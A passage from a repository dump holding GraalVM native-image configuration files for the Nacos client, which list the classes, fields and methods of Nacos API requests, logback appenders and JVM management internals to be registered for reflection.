    "content": "[\n{\n  \"name\":\"[Lcom.sun.management.internal.DiagnosticCommandArgumentInfo;\"\n},\n{\n  \"name\":\"[Lcom.sun.management.internal.DiagnosticCommandInfo;\"\n},\n{\n  \"name\":\"com.sun.management.internal.DiagnosticCommandArgumentInfo\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"boolean\",\"boolean\",\"boolean\",\"int\"] }]\n},\n{\n  \"name\":\"com.sun.management.internal.DiagnosticCommandInfo\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"boolean\",\"java.util.List\"] }]\n},\n{\n  \"name\":\"java.lang.InternalError\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"java.lang.SecurityManager\",\n  \"fields\":[{\"name\":\"initialized\"}]\n},\n{\n  \"name\":\"java.util.Arrays\",\n  \"methods\":[{\"name\":\"asList\",\"parameterTypes\":[\"java.lang.Object[]\"] }]\n},\n{\n  \"name\":\"sun.instrument.InstrumentationImpl\",\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[\"long\",\"boolean\",\"boolean\"] }, \n    {\"name\":\"loadClassAndCallAgentmain\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, \n    {\"name\":\"loadClassAndCallPremain\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, \n    {\"name\":\"transform\",\"parameterTypes\":[\"java.lang.Module\",\"java.lang.ClassLoader\",\"java.lang.String\",\"java.lang.Class\",\"java.security.ProtectionDomain\",\"byte[]\",\"boolean\"] }\n  ]\n},\n{\n  \"name\":\"sun.management.VMManagementImpl\",\n  \"fields\":[\n    {\"name\":\"compTimeMonitoringSupport\"}, \n    {\"name\":\"currentThreadCpuTimeSupport\"}, \n    {\"name\":\"objectMonitorUsageSupport\"}, \n    {\"name\":\"otherThreadCpuTimeSupport\"}, \n    {\"name\":\"remoteDiagnosticCommandsSupport\"}, \n    {\"name\":\"synchronizerUsageSupport\"}, \n    {\"name\":\"threadAllocatedMemorySupport\"}, \n    {\"name\":\"threadContentionMonitoringSupport\"}\n  ]\n}\n]\n"
  },
  {
    "path": "client/src/main/resources/META-INF/native-image/com.alibaba.nacos/nacos-client/predefined-classes-config.json",
    "content": "[\n  {\n    \"type\":\"agent-extracted\",\n    \"classes\":[\n    ]\n  }\n]\n\n"
  },
  {
    "path": "client/src/main/resources/META-INF/native-image/com.alibaba.nacos/nacos-client/proxy-config.json",
    "content": "[\n]\n"
  },
  {
    "path": "client/src/main/resources/META-INF/native-image/com.alibaba.nacos/nacos-client/reflect-config.json",
    "content": "[\n{\n  \"name\":\"[B\"\n},\n{\n  \"name\":\"[C\"\n},\n{\n  \"name\":\"[D\"\n},\n{\n  \"name\":\"[F\"\n},\n{\n  \"name\":\"[I\"\n},\n{\n  \"name\":\"[J\"\n},\n{\n  \"name\":\"[Ljava.lang.String;\"\n},\n{\n  \"name\":\"[Ljavax.management.openmbean.CompositeData;\"\n},\n{\n  \"name\":\"[Lorg.apache.logging.log4j.core.Appender;\"\n},\n{\n  \"name\":\"[Lorg.apache.logging.log4j.core.appender.rolling.TriggeringPolicy;\"\n},\n{\n  \"name\":\"[Lorg.apache.logging.log4j.core.appender.rolling.action.Action;\"\n},\n{\n  \"name\":\"[Lorg.apache.logging.log4j.core.appender.rolling.action.PathCondition;\"\n},\n{\n  \"name\":\"[Lorg.apache.logging.log4j.core.config.AppenderRef;\"\n},\n{\n  \"name\":\"[Lorg.apache.logging.log4j.core.config.LoggerConfig;\"\n},\n{\n  \"name\":\"[Lorg.apache.logging.log4j.core.config.Property;\"\n},\n{\n  \"name\":\"[S\"\n},\n{\n  \"name\":\"[Z\"\n},\n{\n  \"name\":\"ch.qos.logback.classic.AsyncAppender\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.classic.Logger\"\n},\n{\n  \"name\":\"ch.qos.logback.classic.LoggerContext\"\n},\n{\n  \"name\":\"ch.qos.logback.classic.encoder.PatternLayoutEncoder\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.classic.pattern.DateConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.classic.pattern.LevelConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.classic.pattern.LineSeparatorConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.classic.pattern.LoggerConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.classic.pattern.MessageConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.classic.pattern.ThreadConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.AsyncAppenderBase\",\n  \"methods\":[\n    {\"name\":\"setDiscardingThreshold\",\"parameterTypes\":[\"int\"] },\n    {\"name\":\"setNeverBlock\",\"parameterTypes\":[\"boolean\"] },\n    {\"name\":\"setQueueSize\",\"parameterTypes\":[\"int\"] }\n  ]\n},\n{\n  \"name\":\"ch.qos.logback.core.OutputStreamAppender\",\n  \"methods\":[{\"name\":\"setEncoder\",\"parameterTypes\":[\"ch.qos.logback.core.encoder.Encoder\"] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.encoder.LayoutWrappingEncoder\",\n  \"methods\":[{\"name\":\"setParent\",\"parameterTypes\":[\"ch.qos.logback.core.spi.ContextAware\"] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.pattern.PatternLayoutEncoderBase\",\n  \"methods\":[{\"name\":\"setPattern\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.rolling.FixedWindowRollingPolicy\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"setMaxIndex\",\"parameterTypes\":[\"int\"] }\n  ]\n},\n{\n  \"name\":\"ch.qos.logback.core.rolling.RollingFileAppender\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"setFile\",\"parameterTypes\":[\"java.lang.String\"] },\n    {\"name\":\"setRollingPolicy\",\"parameterTypes\":[\"ch.qos.logback.core.rolling.RollingPolicy\"] },\n    {\"name\":\"setTriggeringPolicy\",\"parameterTypes\":[\"ch.qos.logback.core.rolling.TriggeringPolicy\"] }\n  ]\n},\n{\n  \"name\":\"ch.qos.logback.core.rolling.RollingPolicyBase\",\n  \"methods\":[\n    {\"name\":\"setFileNamePattern\",\"parameterTypes\":[\"java.lang.String\"] },\n    {\"name\":\"setParent\",\"parameterTypes\":[\"ch.qos.logback.core.FileAppender\"] }\n  ]\n},\n{\n  \"name\":\"ch.qos.logback.core.rolling.SizeBasedTriggeringPolicy\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"setMaxFileSize\",\"parameterTypes\":[\"ch.qos.logback.core.util.FileSize\"] }\n  ]\n},\n{\n  \"name\":\"ch.qos.logback.core.rolling.helper.IntegerTokenConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.util.FileSize\",\n  \"methods\":[{\"name\":\"valueOf\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.ability.ClientAbilities\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"getConfigAbility\",\"parameterTypes\":[] },\n    {\"name\":\"getNamingAbility\",\"parameterTypes\":[] },\n    {\"name\":\"getRemoteAbility\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.ability.ServerAbilities\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"getConfigAbility\",\"parameterTypes\":[] },\n    {\"name\":\"getNamingAbility\",\"parameterTypes\":[] },\n    {\"name\":\"getRemoteAbility\",\"parameterTypes\":[] },\n    {\"name\":\"setConfigAbility\",\"parameterTypes\":[\"com.alibaba.nacos.api.config.ability.ServerConfigAbility\"] },\n    {\"name\":\"setNamingAbility\",\"parameterTypes\":[\"com.alibaba.nacos.api.naming.ability.ServerNamingAbility\"] },\n    {\"name\":\"setRemoteAbility\",\"parameterTypes\":[\"com.alibaba.nacos.api.remote.ability.ServerRemoteAbility\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.ability.ClientConfigAbility\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"isSupportRemoteMetrics\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.ability.ServerConfigAbility\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"isSupportRemoteMetrics\",\"parameterTypes\":[] },\n    {\"name\":\"setSupportRemoteMetrics\",\"parameterTypes\":[\"boolean\"] }\n  ]\n},\n{\n\t\"name\": \"com.alibaba.nacos.api.config.remote.request.AbstractConfigRequest\",\n\t\"allDeclaredFields\": true,\n\t\"allDeclaredConstructors\": true,\n\t\"methods\": [\n\t\t{\"name\": \"getDataId\",\"parameterTypes\": [ ]},\n\t\t{\"name\": \"getGroup\",\"parameterTypes\": [ ]},\n\t\t{\"name\": \"getModule\",\"parameterTypes\": [ ]},\n\t\t{\"name\": \"getTenant\",\"parameterTypes\": [ ]},\n\t\t{\"name\": \"setDataId\",\"parameterTypes\": [\"java.lang.String\"]},\n\t\t{\"name\": \"setGroup\",\"parameterTypes\": [\"java.lang.String\"]},\n\t\t{\"name\": \"setTenant\",\"parameterTypes\": [\"java.lang.String\"]}\n\t]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.request.ClientConfigMetricRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"getMetricsKeys\",\"parameterTypes\":[] },\n    {\"name\":\"getModule\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.request.ClientConfigMetricRequest$MetricsKey\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"getKey\",\"parameterTypes\":[] },\n    {\"name\":\"getType\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"getConfigListenContexts\",\"parameterTypes\":[] },\n    {\"name\":\"isListen\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest$ConfigListenContext\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"getDataId\",\"parameterTypes\":[] },\n    {\"name\":\"getGroup\",\"parameterTypes\":[] },\n    {\"name\":\"getMd5\",\"parameterTypes\":[] },\n    {\"name\":\"getTenant\",\"parameterTypes\":[] }\n  ]\n},\n{\n\t\"name\": \"com.alibaba.nacos.api.config.remote.request.ConfigChangeNotifyRequest\",\n\t\"allDeclaredConstructors\": true,\n\t\"allDeclaredFields\": true,\n\t\"methods\": [\n\t\t{\"name\": \"setGroup\",\"parameterTypes\": [\"java.lang.String\"]},\n\t\t{\"name\": \"getTenant\",\"parameterTypes\": [ ]},\n\t\t{\"name\": \"setTenant\",\"parameterTypes\": [\"java.lang.String\"]},\n\t\t{\"name\": \"setDataId\",\"parameterTypes\": [\"java.lang.String\"]},\n\t\t{\"name\": \"getGroup\",\"parameterTypes\": [ ]},\n\t\t{\"name\": \"getDataId\",\"parameterTypes\": [ ]},\n\t\t{\"name\": \"getModule\",\"parameterTypes\": [ ]}\n\t]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.request.ConfigPublishRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"getAdditionMap\",\"parameterTypes\":[] },\n    {\"name\":\"getCasMd5\",\"parameterTypes\":[] },\n    {\"name\":\"getContent\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.request.ConfigQueryRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"getTag\",\"parameterTypes\":[] },\n    {\"name\":\"isNotify\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.request.ConfigRemoveRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"getTag\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.request.cluster.ConfigChangeClusterSyncRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"getLastModified\",\"parameterTypes\":[] },\n    {\"name\":\"getTag\",\"parameterTypes\":[] },\n    {\"name\":\"isBatch\",\"parameterTypes\":[] },\n    {\"name\":\"isBeta\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.response.ClientConfigMetricResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"setMetrics\",\"parameterTypes\":[\"java.util.Map\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.response.ConfigChangeBatchListenResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"setChangedConfigs\",\"parameterTypes\":[\"java.util.List\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.response.ConfigChangeBatchListenResponse$ConfigContext\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"setDataId\",\"parameterTypes\":[\"java.lang.String\"] },\n    {\"name\":\"setGroup\",\"parameterTypes\":[\"java.lang.String\"] },\n    {\"name\":\"setTenant\",\"parameterTypes\":[\"java.lang.String\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.response.ConfigChangeNotifyResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.response.ConfigPublishResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.response.ConfigQueryResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"setBeta\",\"parameterTypes\":[\"boolean\"] },\n    {\"name\":\"setContent\",\"parameterTypes\":[\"java.lang.String\"] },\n    {\"name\":\"setContentType\",\"parameterTypes\":[\"java.lang.String\"] },\n    {\"name\":\"setEncryptedDataKey\",\"parameterTypes\":[\"java.lang.String\"] },\n    {\"name\":\"setLastModified\",\"parameterTypes\":[\"long\"] },\n    {\"name\":\"setMd5\",\"parameterTypes\":[\"java.lang.String\"] },\n    {\"name\":\"setTag\",\"parameterTypes\":[\"java.lang.String\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.response.ConfigRemoveResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.response.cluster.ConfigChangeClusterSyncResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.grpc.auto.Metadata\",\n  \"methods\":[\n    {\"name\":\"getClientIp\",\"parameterTypes\":[] },\n    {\"name\":\"getClientIpBytes\",\"parameterTypes\":[] },\n    {\"name\":\"getDefaultInstance\",\"parameterTypes\":[] },\n    {\"name\":\"getType\",\"parameterTypes\":[] },\n    {\"name\":\"getTypeBytes\",\"parameterTypes\":[] },\n    {\"name\":\"newBuilder\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.grpc.auto.Metadata$Builder\",\n  \"methods\":[\n    {\"name\":\"clearClientIp\",\"parameterTypes\":[] },\n    {\"name\":\"clearType\",\"parameterTypes\":[] },\n    {\"name\":\"getClientIp\",\"parameterTypes\":[] },\n    {\"name\":\"getClientIpBytes\",\"parameterTypes\":[] },\n    {\"name\":\"getType\",\"parameterTypes\":[] },\n    {\"name\":\"getTypeBytes\",\"parameterTypes\":[] },\n    {\"name\":\"setClientIp\",\"parameterTypes\":[\"java.lang.String\"] },\n    {\"name\":\"setClientIpBytes\",\"parameterTypes\":[\"com.google.protobuf.ByteString\"] },\n    {\"name\":\"setType\",\"parameterTypes\":[\"java.lang.String\"] },\n    {\"name\":\"setTypeBytes\",\"parameterTypes\":[\"com.google.protobuf.ByteString\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.grpc.auto.Payload\",\n  \"methods\":[\n    {\"name\":\"getBody\",\"parameterTypes\":[] },\n    {\"name\":\"getMetadata\",\"parameterTypes\":[] },\n    {\"name\":\"hasBody\",\"parameterTypes\":[] },\n    {\"name\":\"hasMetadata\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.grpc.auto.Payload$Builder\",\n  \"methods\":[\n    {\"name\":\"clearBody\",\"parameterTypes\":[] },\n    {\"name\":\"clearMetadata\",\"parameterTypes\":[] },\n    {\"name\":\"getBody\",\"parameterTypes\":[] },\n    {\"name\":\"getBodyBuilder\",\"parameterTypes\":[] },\n    {\"name\":\"getMetadata\",\"parameterTypes\":[] },\n    {\"name\":\"getMetadataBuilder\",\"parameterTypes\":[] },\n    {\"name\":\"hasBody\",\"parameterTypes\":[] },\n    {\"name\":\"hasMetadata\",\"parameterTypes\":[] },\n    {\"name\":\"setBody\",\"parameterTypes\":[\"com.google.protobuf.Any\"] },\n    {\"name\":\"setMetadata\",\"parameterTypes\":[\"com.alibaba.nacos.api.grpc.auto.Metadata\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.ability.ClientNamingAbility\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"isSupportDeltaPush\",\"parameterTypes\":[] },\n    {\"name\":\"isSupportRemoteMetric\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.ability.ServerNamingAbility\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"isSupportJraft\",\"parameterTypes\":[] },\n    {\"name\":\"setSupportJraft\",\"parameterTypes\":[\"boolean\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.listener.EventListener\",\n  \"methods\":[{\"name\":\"onEvent\",\"parameterTypes\":[\"com.alibaba.nacos.api.naming.listener.Event\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.pojo.Instance\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] }, \n    {\"name\":\"getClusterName\",\"parameterTypes\":[] }, \n    {\"name\":\"getInstanceHeartBeatInterval\",\"parameterTypes\":[] }, \n    {\"name\":\"getInstanceHeartBeatTimeOut\",\"parameterTypes\":[] }, \n    {\"name\":\"getInstanceId\",\"parameterTypes\":[] }, \n    {\"name\":\"getInstanceIdGenerator\",\"parameterTypes\":[] }, \n    {\"name\":\"getIp\",\"parameterTypes\":[] }, \n    {\"name\":\"getIpDeleteTimeout\",\"parameterTypes\":[] }, \n    {\"name\":\"getMetadata\",\"parameterTypes\":[] }, \n    {\"name\":\"getPort\",\"parameterTypes\":[] }, \n    {\"name\":\"getServiceName\",\"parameterTypes\":[] }, \n    {\"name\":\"getWeight\",\"parameterTypes\":[] }, \n    {\"name\":\"isEnabled\",\"parameterTypes\":[] }, \n    {\"name\":\"isEphemeral\",\"parameterTypes\":[] }, \n    {\"name\":\"isHealthy\",\"parameterTypes\":[] }, \n    {\"name\":\"setClusterName\",\"parameterTypes\":[\"java.lang.String\"] }, \n    {\"name\":\"setEnabled\",\"parameterTypes\":[\"boolean\"] }, \n    {\"name\":\"setEphemeral\",\"parameterTypes\":[\"boolean\"] }, \n    {\"name\":\"setHealthy\",\"parameterTypes\":[\"boolean\"] }, \n    {\"name\":\"setInstanceId\",\"parameterTypes\":[\"java.lang.String\"] }, \n    {\"name\":\"setIp\",\"parameterTypes\":[\"java.lang.String\"] }, \n    {\"name\":\"setMetadata\",\"parameterTypes\":[\"java.util.Map\"] }, \n    {\"name\":\"setPort\",\"parameterTypes\":[\"int\"] }, \n    {\"name\":\"setServiceName\",\"parameterTypes\":[\"java.lang.String\"] }, \n    {\"name\":\"setWeight\",\"parameterTypes\":[\"double\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.pojo.ServiceInfo\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] }, \n    {\"name\":\"getCacheMillis\",\"parameterTypes\":[] }, \n    {\"name\":\"getChecksum\",\"parameterTypes\":[] }, \n    {\"name\":\"getClusters\",\"parameterTypes\":[] }, \n    {\"name\":\"getGroupName\",\"parameterTypes\":[] }, \n    {\"name\":\"getHosts\",\"parameterTypes\":[] }, \n    {\"name\":\"getLastRefTime\",\"parameterTypes\":[] }, \n    {\"name\":\"getName\",\"parameterTypes\":[] }, \n    {\"name\":\"isAllIPs\",\"parameterTypes\":[] }, \n    {\"name\":\"isReachProtectionThreshold\",\"parameterTypes\":[] }, \n    {\"name\":\"isValid\",\"parameterTypes\":[] }, \n    {\"name\":\"setAllIPs\",\"parameterTypes\":[\"boolean\"] }, \n    {\"name\":\"setCacheMillis\",\"parameterTypes\":[\"long\"] }, \n    {\"name\":\"setChecksum\",\"parameterTypes\":[\"java.lang.String\"] }, \n    {\"name\":\"setClusters\",\"parameterTypes\":[\"java.lang.String\"] }, \n    {\"name\":\"setGroupName\",\"parameterTypes\":[\"java.lang.String\"] }, \n    {\"name\":\"setHosts\",\"parameterTypes\":[\"java.util.List\"] }, \n    {\"name\":\"setLastRefTime\",\"parameterTypes\":[\"long\"] }, \n    {\"name\":\"setName\",\"parameterTypes\":[\"java.lang.String\"] }, \n    {\"name\":\"setReachProtectionThreshold\",\"parameterTypes\":[\"boolean\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.request.AbstractNamingRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[\n    {\"name\":\"getGroupName\",\"parameterTypes\":[] },\n    {\"name\":\"getModule\",\"parameterTypes\":[] },\n    {\"name\":\"getNamespace\",\"parameterTypes\":[] },\n    {\"name\":\"getServiceName\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.request.AbstractFuzzyWatchNotifyRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[  {\"name\":\"getInstances\",\"parameterTypes\":[] },\n    {\"name\":\"getType\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.request.BatchInstanceRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"getModule\",\"parameterTypes\":[] },\n    {\"name\":\"getServiceChangedType\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.request.InstanceRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"getInstance\",\"parameterTypes\":[] },\n    {\"name\":\"getType\",\"parameterTypes\":[] }\n  ]\n},\n{\n\t\"name\": \"com.alibaba.nacos.api.naming.remote.request.NotifySubscriberRequest\",\n\t\"allDeclaredFields\": true,\n\t\"allDeclaredConstructors\": true,\n\t\"methods\": [\n\t\t{\"name\": \"getGroupName\",\"parameterTypes\": [ ]},\n\t\t{\"name\": \"getModule\",\"parameterTypes\": [ ]},\n\t\t{\"name\": \"getNamespace\",\"parameterTypes\": [ ]},\n\t\t{\"name\": \"getServiceInfo\",\"parameterTypes\": [ ]},\n\t\t{\"name\": \"getServiceName\",\"parameterTypes\": [ ]},\n\t\t{\"name\": \"setGroupName\",\"parameterTypes\": [\"java.lang.String\"]},\n\t\t{\"name\": \"setNamespace\",\"parameterTypes\": [\"java.lang.String\"]},\n\t\t{\"name\": \"setServiceInfo\",\"parameterTypes\": [\"com.alibaba.nacos.api.naming.pojo.ServiceInfo\"]},\n\t\t{\"name\": \"setServiceName\",\"parameterTypes\": [\"java.lang.String\"]}\n\t]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.request.PersistentInstanceRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"getInstance\",\"parameterTypes\":[] },\n    {\"name\":\"getType\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.request.ServiceListRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"getPageNo\",\"parameterTypes\":[] },\n    {\"name\":\"getPageSize\",\"parameterTypes\":[] },\n    {\"name\":\"getSelector\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.request.ServiceQueryRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"getCluster\",\"parameterTypes\":[] },\n    {\"name\":\"getUdpPort\",\"parameterTypes\":[] },\n    {\"name\":\"isHealthyOnly\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.request.FuzzyWatchNotifyChangeRequest\",\n  \"allDeclaredFields\":true,\n  